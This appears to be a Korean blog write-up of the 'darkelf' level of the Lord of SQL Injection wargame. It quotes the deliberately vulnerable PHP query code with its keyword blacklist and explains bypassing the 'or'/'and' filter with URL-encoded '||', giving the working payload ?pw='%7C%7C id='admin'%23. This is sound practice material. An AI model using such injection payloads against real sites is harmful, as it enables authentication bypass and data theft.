<코드 분석>
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>
pw 에 Get 방식으로 입력을 받는데, prob _ . () or and 를 필터링한다.
or and 를 필터링하는게 메인이겠다.
이후에 result 의 id 값이 admin이면 문제가풀린다.
<해설>
or 는 %7C%7C
and 는 %26%26으로 인코딩해주면 된다.
?pw='or id='admin'%23 을 넣어주고 싶으니,
?pw='%7C%7C id='admin'%23
를 넘겨주면 문제가 풀린다.
Clear!
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS -rubiya : Troll (0) | 2020.05.13 |
---|---|
LOS - rubiya : Orge (0) | 2020.05.13 |
LOS -rubiya : Wolfman (0) | 2020.05.13 |
LOS -rubiya : Wolfman (0) | 2020.05.13 |
LOS -rubiya : Orc (0) | 2020.05.08 |